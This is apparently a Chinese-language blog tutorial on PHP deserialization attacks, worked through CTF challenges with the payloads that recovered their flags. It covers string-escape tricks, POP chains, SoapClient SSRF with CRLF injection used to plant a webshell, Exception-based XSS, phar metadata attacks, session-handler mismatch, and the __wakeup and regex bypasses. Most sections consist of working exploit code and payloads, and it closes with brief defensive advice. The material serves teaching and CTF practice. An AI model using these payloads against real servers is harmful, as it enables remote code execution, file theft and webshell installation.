前言
本文總結php的反序列化,有php反序列字符串逃逸,php反序列化pop鏈構造,php反序列化原生類的利用,phar反序列化,session反序列化,反序列化小技巧,並附帶ctf小題來說明,還有php反序列化的預防方法(個人想法),建議按需查看,如有錯誤還望斧正。如非特別說明運行環境為PHP 7.2.33-1+ubuntu18.04.1
為什麼要序列化?
序列化可以將對象,類,數組,變量,匿名函數等,轉換為字符串,這樣用戶就方便存儲和傳輸,同時方便恢復使用,對伺服器也減輕一定的壓力。
序列化基礎
序列化為字符串時候,變量和參數之間用;隔開,同一個變量和參數間用:號隔開,以}作為結尾,具體結構,用以下代碼來看下結構
<?phpclass Lmg{ public $name = 'Lmg'; public $age = 19; public $blog = 'https://lmg66.github.io';}$lmg1 = new Lmg;echo serialize($lmg1)."\n";?>
序列化屬性
在一個可以序列化的字符串後加其他參數不影響序列化後的結果
如:測試代碼:
<?phpclass Lmg{ public $name = 'Lmg'; public $age = 19; public $blog = 'https://lmg66.github.io';}$lmg1 = new Lmg;echo serialize($lmg1)."\n";$Lmg2 = serialize($lmg1).'s:4:"blog";s:23:"https://lmg66.github.io";}';echo $Lmg2."\n";print_r($lmg1);print_r(unserialize($Lmg2));?>效果:可以發現,後面加了其他參數並不影響序列化後的結果
顯示變量長度和實際長度不匹配就會報錯,在這裡在某些情況就會產生字符串逃逸
如:測試代碼:
<?phpclass Lmg{ public $name = 'Lmg'; public $age = 19; public $blog = 'https://lmg66.github.io';}$lmg4 = 'O:3:"Lmg":3:{s:4:"name";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';$lmg5 = 'O:3:"Lmg":3:{s:4:"uname";s:3:"Lmg";s:3:"age";i:19;s:4:"blog";s:23:"https://lmg66.github.io";}';print_r(unserialize($lmg4));print_r(unserialize($lmg5));?>效果:可以發現我改了變量名name使它的長度和實際4不符,就發生了報錯,改其他類似
反序列常見魔術函數總覽,可構造pop鏈
__construct: 當創建類的時候自動調用,也就是構造函數,無返回值__destruct: 當類實例子銷毀時候自動調用,也就是析構函數,無返回值,其不能帶參數__toString:當對象被當做一個字符串使用時調用,比如echo $obj 。__sleep: 當類的實例被序列化時調用(其返回需要一個數組或者對象,一般返回對象的$this,返回的值被用來做序列化的值,如果不返回,表示序列化失敗)__wakeup: 當反序列化時被調用__call:當調用對象中不存在的方法會自動調用該方法。__get:在調用私有屬性的時候會自動執行__isset()在不可訪問的屬性上調用isset()或empty()觸發__unset()在不可訪問的屬性上使用unset()時觸發反序列化字符串逃逸(替換後導致字符串變長)
字符串逃逸利用的是反序列化的屬性如上文,出現原因是在序列化前進行了字符串的替換,導致字符串被拓衝,可以將後面的字符串擠出去,擠到後一個對象的變量從而改變其他的變量值,造成逃逸。如: 測試代碼:
<?phpfunction filter($str){ return str_replace('bb', 'ccc', $str);}class A{ public $name='aaaa'; public $pass='123456';}$AA=new A();echo serialize($AA)."\n";$res=filter(serialize($AA));$c=unserialize($res);echo $c->pass;?>序列化後的字符串為:O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";} 如果能讓name變量的參數為";s:4:"pass";s:6:"hack";} 用}號閉合掉後面的pass參數,就能改pass變量的參數值從而逃逸 要解決的就是這個位置的長度問題,只用讀取到足夠的長度,才會停止
可以發現在序列化進行了字符串的替換,但替換的時候bb替換成了ccc,也就是字符串變長了,達到我們上面想要的目的
先判斷想要構造的字符串長度
<?php$lmg = '";s:4:"pass";s:6:"hack";}';echo strlen($lmg)."\n";// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";// echo strlen($lmg3);// $lmg2 = "bb";// echo str_repeat($lmg2, 25);?>運行長度為25,一個bb換成ccc,就逃逸1個字符,也就是說需要25個bb才能將後面的字符串給擠出來
<?php// $lmg = '";s:4:"pass";s:6:"hack";}';// echo strlen($lmg)."\n";// $lmg3 = "ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";// echo strlen($lmg3);$lmg2 = "bb";echo str_repeat($lmg2, 25);?>將name變量參數變為25個bb+";s:4:"pass";s:6:"hack";} 測試代碼:
<?phpfunction filter($str){ return str_replace('bb', 'ccc', $str);}class A{ public $name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}'; public $pass='123456';}$AA=new A();// echo serialize($AA)."\n";print_r($AA);$res=filter(serialize($AA));echo $res."\n";$c=unserialize($res);print_r($c);// echo $c->pass."\n";?>運行結果:構造完的字符串,反序列化後發現密碼被改為了hack,而我們並未直接修改pass的參數,從而實現字符串的逃逸
一個ctf例題([0CTF 2016]piapiapia)
地址:https://buuoj.cn/challenges#[0CTF%202016]piapiapia打開題目掃描一下發現wwww.zip文件下載,因為本文主要交php反序化就不繞了 發現config.php中又flag,所以要讀取文件,在profile.php中發現讀取文件的代碼
else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));如果能讓photo為config.php,而這數值來自$profile的反序列化,查看$profile
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }發現有過濾
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }要進行字符串的逃逸應該先考慮用nickname來構造字符串逃逸photo應為nickname在其前面 然後發現nickname有正則過濾,考慮用數組來進行繞過
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');數組繞過後就考慮進行逃逸將photo擠出去 所以我們需要構造nickname的參數值為";}s:5:"photo";s:10:"config.php";} 這裡為什麼要在前面加一個}呢???,因為為了繞過nickname的正則匹配我們將其構造成了數組,數組在反序列化要進行閉合,可以嘗試一下 構造代碼
<?phpfunction filter($str){ return str_replace('bb', 'ccc', $str);}class A{ public $name='aaaa'; public $pass='123456'; public $nickname = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');}$AA=new A();echo serialize($AA)."\n";// $res=filter(serialize($AA));// $c=unserialize($res);// echo $c->pass;?>運行結果發現數組位置進行了閉合
這就是為啥上面要先進行}在逃逸 構造我們想要的內容後要進行逃逸,我們發現過濾的時候將where改成了hacker,進行了字符串拓展增建了一個字符串,我們構造的字符串長度為34所以我們要構造34個where進行逃逸
然後查看profile.php的圖片,base64解碼就獲得了config.php中的flag
反序列化字符串逃逸(替換後導致字符串變短)
字符串變短的逃逸類似於變長,都是利用了替換字符串導致的可輸入變量的改變,從而可以閉合測試代碼:
<?phpfunction str_rep($string){ return preg_replace( '/php|test/','', $string);}$test['name'] = $_GET['name'];$test['sign'] = $_GET['sign']; $test['number'] = '2020';$temp = str_rep(serialize($test));printf($temp);$fake = unserialize($temp);echo '<br>';print("name:".$fake['name'].'<br>');print("sign:".$fake['sign'].'<br>');print("number:".$fake['number'].'<br>');?>發現進行了過濾,將php和test轉換為空 如果我們在name的參數中輸入php,test等,就換轉換為空,那麼就會把後面的數據當成變量 而sign的參數是可控的,如果當name參數為空而讀取到sign可控參數前,那麼就可以通過sign的參數控制字符串用}號來閉合掉後面的 計算";s:4:"sign";s:51:"的長度為19 而過濾php一個能吞掉3個字符串,所以我們要輸入7個php也就是吞掉21長度,而後面是19長度,所以我們加2個字符來補充 所以構造
name=phpphpphpphpphpphpphpsign=12";s:4:"sign";s:3:"sjj";s:6:"number";s:4:"2222";}其中sign中12為補充使其為21長度,"號用於閉合name參數,然後可以發現,number不可變變量被改變
一個ctf例題([安洵杯 2019]easy_serialize_php)
題目地址:https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php打開題目是一段代碼
<?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ unset($_SESSION);}$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST);if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>';}if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png');}else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));}$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){ highlight_file('index.php');}else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!}else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));}
先看看phpinfo中的數據,提示在d0g3_f1ag.php文件中
<?php$_SESSION["user"]='123';$_SESSION["function"]='123';$_SESSION["img"]='123';$Lmg = serialize($_SESSION);echo $Lmg."\n";?>先構造代碼嘗試運行結果
和上面原理一樣要將吞掉,長度為23";s:8:"function";s:75:" 為什麼s:後是75因為s後的長度必然大於10(也就是function傳入數據的長度)所以我們只要大於10小於100都行,因為數據長度不可能大於100 而flag換成空格吞掉4個字符串,所以要6個flag(當然也可以8個php:3*8=24),然後還有在function參數加一個字符串來滿足吞24個字符串 所以構造數字1也就是滿足24長度加的,img變量要base64,因為實際的img參數被我們給擠出去了,所說
這裡不影響payload(post傳輸):_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 然後查看顯示,查看原始碼:
將img參數讀取的文件改為/d0g3_fllllllag的base64加密 payload:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:8:"function";s:7:"1234567";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
反序列化pop鏈構造
有時遇見魔法方法中沒有利用代碼,即不存在命令執行文件操作函數,可以通過調用其他類方法和魔法函數來達到目的反序列化想構造的出的方法 命令執行:exec()、passthru()、popen()、system() 文件操作:file_put_contents()、file_get_contents()、unlink()
實例
代碼:
<?phpclass lemon { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); }}class normal { function action() { echo "hello"; }}class evil { private $data; function action() { eval($this->data); }}unserialize($_GET['d']);?>lemon類創建了正常normal類,然後銷毀時執行了action()方法,很正常,但如果讓其調用evil類,銷毀時候就會調用evil的action()方法出現eval方法,就能達到效果,所以需要構造
<?phpclass lemon { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); }}class evil { private $data = "phpinfo();";}$lmg = new lemon();echo urlencode(serialize($lmg))."\n";?>evil中data參數為私有屬性,在序列化時會出現不可複製字符,需進行url編碼O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
其中phpinfo();可換成其他想要執行的命令system('dir');等等
php反序列化原生類利用
反序列沒有合適的利用鏈,需要利用php自帶的原生類
__call方法
__call方法在調用不存在類的方法時觸發PHP代碼:
<?php$rce = unserialize($_GET['u']);echo $rce->notexist();echo $rce;?>通過unserialize進行反序列化,調用不存在notextist()類,將觸發__call()魔法函數。 php中原生類soapClient,存在可以進行__call魔法函數。 SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用來描述如何訪問具體的接口, UDDI用來管理,分發,查詢webService ,SOAP(簡單對象訪問協議)是連接或Web服務或客戶端和Web服務之間的接口。 其採用HTTP作為底層通訊協議,XML作為數據傳送的格式。 php中的SoapClient類可以創建soap數據報文,與wsdl接口進行交互。
其中option可以定義 User-Agent
payload:
<?php$rce = unserialize($_GET['u']);echo $rce->notexist();echo $rce;?>注意:要開啟soap,在php.ini中去除extension=php_soap.dll之前的「;」 ,重啟服務 payload:
<?php$lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/')));echo $lmg;?>地址換成自己伺服器地址 我是用虛擬機ubantu開啟的埠 nc -l 8888 執行:
當然我們也可以傳數據進行CRLF,攻擊內網服務,注入redis命令,因為可定義user_agent payload:
<?php $lmg = serialize(new SoapClient(null, array('uri'=>'http://192.168.124.133:8888/','location'=>'http://192.168.124.133:8888/aaa/'))); // echo $lmg."\n"; $poc = "CONFIG SET dir /root/"; $target = "http://192.168.124.133:8888/"; $content = "Content-Length:45\r\n\r\ndata=abc"; $b = new SoapClient(null, array('location'=>$target, 'user_agent'=>$content, 'uri'=>'hello^^'.$poc.'^^hello')); $aaa = serialize($b); $aaa = str_replace('^^', "\n\r", $aaa); echo $aaa."\n"; echo urlencode($aaa)."\n";?>
內網中寫shell: 內網中test.php
<?php if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){ echo 'hi'; @$a=$_POST[1]; @eval($a);} ?>可以利用反序列化,CRLF內網攻擊寫shell,反序列化位置
<?php$rce = unserialize($_GET['u']);echo $rce->notexist();echo $rce;?>payload:
<?php$target = 'http://127.0.0.1/CTF/test.php';$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: ' );$b = new SoapClient(null,array('location' => $target,'user_agent'=>'hello^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));$aaa = serialize($b);$aaa = str_replace('^^','%0d%0a',$aaa);$aaa = str_replace('&','%26',$aaa);echo urlencode($aaa);$c=unserialize(urldecode($aaa));// $c->ss();?>
成功被寫入shell.php __toString原生類利用
測試代碼:
<?php echo unserialize($_GET['u']);?>利用payload:
<?php echo urlencode(serialize(new Exception("<script>alert(1)</script>")));?>exception類對於錯誤消息沒有經過編碼,直接輸出到了網頁,便可以造成xss
phar反序列化
來自Secarma的安全研究員Sam Thomas發現了一種新的漏洞利用方式,可以在不使用php函數unserialize()的前提下,引起嚴重的php對象注入漏洞。這個新的攻擊方式被他公開在了美國的BlackHat會議演講上,演講主題為:」不為人所知的php反序列化漏洞」。它可以使攻擊者將相關漏洞的嚴重程度升級為遠程代碼執行。我們在RIPS代碼分析引擎中添加了對這種新型攻擊的檢測。
原理
phar文件結構
a stub 文件格式標準,格式為xxx 前面內容不限,但必須以__HALT_COMPILER();?>,否則無法識別是不是phar文件,其中xxx可以用作繞過文件上傳的檢測a manifest describing the contents phar本質是一種壓縮文件,壓縮文件的權限,屬性等信息所存放的位置,以序列的化的方法存儲用戶自定義的meta-data,在使用phar://偽協議時會反序列化這部分,漏洞產生的原因就在這裡
the file contents 被壓縮文件的內容[optional] a signature for verifying Phar integrity (phar file format only) 籤名,文件末尾,格式:
phar://偽協議介紹 這個參數是php解壓壓縮包的一個函數,不管什麼,都會當做壓縮包來解壓 測試: 要將php.ini中的phar.readonly選項設置為off,不然沒法生成phar文件 用來包含某個文件,構建類TestObject,然後析構函數結束時列印data數據<?phpclass TestObject{ function __destruct() { echo $this -> data; // TODO: Implement __destruct() method. }}include($_GET['Lmg']);?>生成phar文件,且定義的meta-data的序列化
<?php class TestObject { } $phar = new Phar('phar.phar'); $phar -> startBuffering(); $phar -> setStub('<?php __HALT_COMPILER();?>'); //設置stub,增加gif文件頭 $phar ->addFromString('test.txt','test'); //添加要壓縮的文件 $object = new TestObject(); $object -> data = 'Lmg'; $phar -> setMetadata($object); //將自定義meta-data存入manifest $phar -> stopBuffering();?>運行生成文件為phar的文件
在真實情況,需要上傳到目標伺服器,然後利用phar在解壓時會反序化meta-data部分來達到目的,這裡就直接直接包含了,列印了Lmg字符串
受影響的函數
利用條件:
phar文件要能上傳有可利用函數如上圖,可魔法函數構造pop鏈文件函數操作可控,: / phar 等沒過被過濾一個ctf例子([CISCN2019 華北賽區 Day1 Web1]Dropbox)
題目地址:https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1]Dropbox打開頁面發現是一個註冊於登錄頁面,註冊登錄發現是個類似網盤的功能,初始時在登錄和註冊頁面嘗試sql注入發現不行,然後在下載功能嘗試下載發現登錄和註冊位置對資料庫操作進行了prepare()的預處理,網盤有個下載功能,嘗試下載,嘗試任意下載,抓包,將下載內容改為源碼(有index.php class.php upload.php download.php login.php register.php),為啥要加../../呢??前期我也不知道,看了別人題解發現,下載源碼發現download.php,限制了切換了目錄,同時沒法下載其他目錄,這就是後來為啥要用delete功能來phar://,那個位置沒有進行目錄的切換,然後想嘗試文件上傳來getshell,首先上傳時進行了後綴判讀,而且我們不知道上傳後了路徑,所以考慮其他方法
查看delete.php,new file()其用了delete()函數,到class.php中查看detele()使用unlink()來刪除,而unlink()函數是phar反序列化受影響函數,那麼下面我們想要的就是構造就是打開顯示flag.txt文件,為啥flag在flag.txt中我就不知道了,可能ctf選手直覺,有點玄學了,如果你知道可以評論告訴我感謝,繼續,在class.php中發現close()中File類file_get_contents(),但是沒法調用,然後發現user類中的析構函數調用了close類,如果我們令$db=new File();的化,但是雖然我們打開了文件,但是沒用回顯,所以還是看不見文件內容,所以要構造其他的pop鏈,然後發現FileList()中存在魔法函數_call,如果調用了不存在的函數就會執行,call函數的作用:
public function __call($func, $args) { array_push($this->funcs, $func); //如果調用了不存在的方法,將改方法放到funcs數組中 foreach ($this->files as $file) { //再從files數組中取出方法,利用這個元素去調用funcs中新增的func $this->results[$file->name()][$func] = $file->$func(); //因為調用了不存在的鍵值close(),所以func=close,所以$file->$func相當於調用close()函數 } }而close函數打開$this->filename文件,所以我們構造File中的filename=./flag.txt就能打開該文件,而且該文件的內容存儲到了results數組鍵值中,然後我們查看 File類中的析構函數,發現:
foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td>' . htmlentities($value) . '</td>'; }這裡對result的鍵值進行了輸出,所以就能得到flag.txt中的內容 最後payload:
<?phpclass User { public $db;}class File { public $filename;}class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; //構造filename讓其打開該文件 $this->files = array($file); }}// $a = new User();// $a->db = new FileList(); //這裡讓FileList調用了不存在函數close()函數$phar = new Phar("phar.phar"); //後綴名必須為phar$phar->startBuffering();$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //設置stub$o = new User();$o->db = new FileList(); //這裡讓FileList調用了不存在函數close()函數$phar->setMetadata($o); //將自定義的meta-data存入manifest$phar->addFromString("exp.txt", "test"); //添加要壓縮的文件//籤名自動計算$phar->stopBuffering();?>
php反序列化Session反序列化
session在網際網路起到的作用
session用於跟蹤用戶的行為,保存用戶的信息和狀態等等session當用戶第一次訪問網站時,session_start()函數就會創建唯一的sessionid,通過HTTP響應將sessionid保存到用戶的cookie中。同時在伺服器創建一個sessionid命名的文件,用於保存這個用戶的會話信息。當用戶再次訪問這個網站時,也會通過http請求將cookie中保存的session再次攜帶,但是伺服器不會再創建同名文件,而是硬碟中尋找sessionid的同名文件,且將其讀取出來。 伺服器session_start()函數作用 當會話開始或通過session_start()開始時,php內部會通過傳來的sessionid來讀取文件,php會自動序列化sessio文件內容,並將其填充到超全局變量$_SESSION中。如果不存在對應的會話數據,則創建一個sessionid的文件。如果用戶為發送sessionid,則創建一個由32個字母組成的phpsessionid,並返回set-cookie
session配置和phpsession反序列化原理
php.ini中的session配置
因為我使用的是phpstudy搭建的環境所以路徑比較奇怪 常見的存儲位置
/var/lib/php5/sess_PHPSESSID/var/lib/php7/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSEDsession反序列化原理
session的存儲機制
測試代碼:
<?php//ini_set('session.serialize_handler', 'php');//ini_set("session.serialize_handler", "php_serialize");ini_set("session.serialize_handler", "php_binary");session_start();$_SESSION['Lmg'] = $_GET['a'];echo "<pre>";var_dump($_SESSION);echo "</pre>";?>分別注釋查看不同機制的保存方式,我們分別?a=123查看
Lmg|s:3:"123"; ----------------ini_set('session.serialize_handler', 'php'); php機制a:1:{s:3:"Lmg";s:3:"123";} ----------------ini_set("session.serialize_handler", "php_serialize"); php_serialize機制Lmgs:3:"123"; -----------------ini_set("session.serialize_handler", "php_binary"); php_binary機制 產生session反序列的原因就在程式設計師在讀取或者存儲中使用了不同的機制,我們以php_serialize格式來存儲,用php機制來讀取 測試代碼: 存儲session代碼:<?php//ini_set('session.serialize_handler', 'php');ini_set("session.serialize_handler", "php_serialize");//ini_set("session.serialize_handler", "php_binary");session_start();$_SESSION['Lmg'] = $_GET['a'];echo "<pre>";var_dump($_SESSION);echo "</pre>";?>讀取session代碼:
<?php ini_set("session.serialize_handler", "php"); session_start(); class student { var $name; var $age; function __wakeup(){ echo $this->name; } }?>我們先構造一個student的類來生成我們想要的目的
<?php class student { var $name; var $age; }$Lmg = new student();$Lmg->name = "hack";$Lmg->age = "19";echo serialize($Lmg);?>生成的序列化字符串O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";} 我們構造在儲存頁面構造payload,只需要在上面的字符串前加|就可,為什麼呢???
如果我們傳入的數值中有|那麼在讀取時就認為後面是我們要反序列化的字符串,從而達到目的 將構造的字符串傳入存儲php中計:?a=|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";} 查看儲存的字符串:a:1:{s:3:"Lmg";s:60:"|O:7:"student":2:{s:4:"name";s:4:"hack";s:3:"age";s:2:"19";} 所以達到了目的
查看一下讀取的php,成功列印了hack
沒有$_SESSION賦值的session反序列化
在php中存在一個upload_process機制,可以自動創建$_SESSION一個鍵值對,而且其中的值用戶可以控制,文件上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態
什麼意思呢????意思上傳文件,同時post一個於session.upload_process.name同名的變量。後端就會自動將post的這個同名變量作為鍵,進行序列化然後存儲到session文件中,下次請求就會反序列化session文件
一個ctf題來實踐了解一下
題目地址:http://web.jarvisoj.com:32784/index.php打開題目是源碼:
<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{ public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); }}if(isset($_GET['phpinfo'])){ $m = new OowoO();}else{ highlight_string(file_get_contents('index.php'));}?>先讀取session,然後get傳入phpinfo參數,然後創建對象,對象中構造函數給mdzz賦值phpinfo,析構函數執行eval,所以我們的目的是將mdzz構造為讀取文件 ,先隨便傳入參數,查看phpinfo中的參數,發現默認的反序列化機制是php-serialize,但是題目所使用php,那麼這個兩個機制再上文產生的漏洞我們已經了解,但是我們沒法給session進行存儲啊,所以就要用到上面session上傳進度的session存儲來存入我們想要的內容
構造上傳表單
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /></form>然後構造我們想要的payload,列印目錄文件print_r(scandir(dirname(FILE)));,如果寫入析構函數會eval執行
<?phpclass OowoO { public $mdzz;}$Lmg = new OowoO();$Lmg->mdzz = "print_r(scandir(dirname(__FILE__)));";echo serialize($Lmg);?>生成的序列化字符串O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";} 我們用上傳表單隨便上傳一個文件,抓包將filename改為|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";} 為什麼要改filename,因為其會跟file數組保存到session中上面圖片有說明 為啥要在字符串前加|,這個上面也說過,因為反序列化的機制不一樣,|後會當做要反序列化的字符串 為什麼要再"前加\,因為我們的字符串是放在filename=""雙引號內要進行轉義
發現成功讀取到文件名,但是我們不知道文件目錄,查看phpinfo(),查看當前腳本的運行路徑
所以構造:print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));來讀取這個文件 payload:
<?phpclass OowoO { public $mdzz;}$Lmg = new OowoO();$Lmg->mdzz = "print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));";echo serialize($Lmg);?>生成的字符串,成功獲得flagO:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
php反序列化小技巧
__wakeup失效:CVE-2016-7124
漏洞利用版本:php5<5.6.25 php7<7.0.10 漏洞產生原因 如果存在_wakeup方法,調用unserilize()方法前則先調用_wakeup方法,但是序列化字符串中表示對象屬性個數的值大於真實的屬性個數時候,便會跳過_wakeup的執行 測試代碼:
<?phpclass demo{ public $name = "Lmg"; public function __wakeup(){ echo "this is __wakeup<br>"; } public function __destruct(){ echo "this is __destruct<br>"; }}// $a = new demo();// echo serialize($a);unserialize($_GET['Lmg']);?>
對比發現頁面只執行了__destruct方法,從而__wakeup()失效
一個ctf例題(unserialize3)
題目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1打開題目直接是部分源碼,看到wakeup函數應該想到是利用__wakeup()失效漏洞 題目源碼:
class xctf{public $flag = '111';public function __wakeup(){exit('bad requests');}?code=構造payload:
<?phpclass xctf{public $flag = '111';}$Lmg = new xctf();echo serialize($Lmg);?>生成的字符串:O:4:"xctf":1:{s:4:"flag";s:3:"111";} 成功獲得flag
bypass反序列化正則
當執行反序列化時,使用正則'/[oc]:\d+:/i'進行攔截時,主要攔截O:數字:的反序列化字符串,那要怎麼繞過呢??? php反序列化時O:+4:和O:4:的解析是一樣的,具體是php的內核是這麼寫的 所以可以通過加+來進行繞過
一個ctf例題(Web_php_unserialize)
題目地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5409&page=1打開題目是原始碼:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } }if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
所以構造payload來進行繞過:
<?php class Demo { private $file = 'fl4g.php';}$x= serialize(new Demo);$x=str_replace('O:4', 'O:+4',$x);//繞過preg_match()$x=str_replace(':1:', ':3:',$x);//繞過__wakeup()echo base64_encode($x);?>TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== var傳入即可獲得flag 如果這裡沒有base64加密,我麼也需要進行url編碼,因為demo中private為私有屬性,反序列化會出現不可見字符,所以要進行url編碼
如何防止php反序列化
儘量不要用序列化來傳輸數據不要相信用戶傳入數據,或者不讓用戶傳入完整的序列化類型,進行過濾隔離運行在低權限環境中的反序列化,記錄反序列化異常和失敗,例如傳入類型不是預期類型,或者反序列化引發異常,限制或監視來自反序列化的容器或伺服器的傳入和傳出網絡連接,限制或監視來自反序列化的容器或伺服器的傳入和傳出網絡連接。監視反序列化,如果用戶不斷地反序列化,則發出警報。參考文章及說明
參考文章:https://blog.csdn.net/qq_45521281/article/details/107135706 https://paper.seebug.org/680/ https://xz.aliyun.com/t/7366#toc-6 《從從0到1 ctfer的成長之路》 最後歡迎訪問我的個人博客:https://lmg66.github.io/ 說明:本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔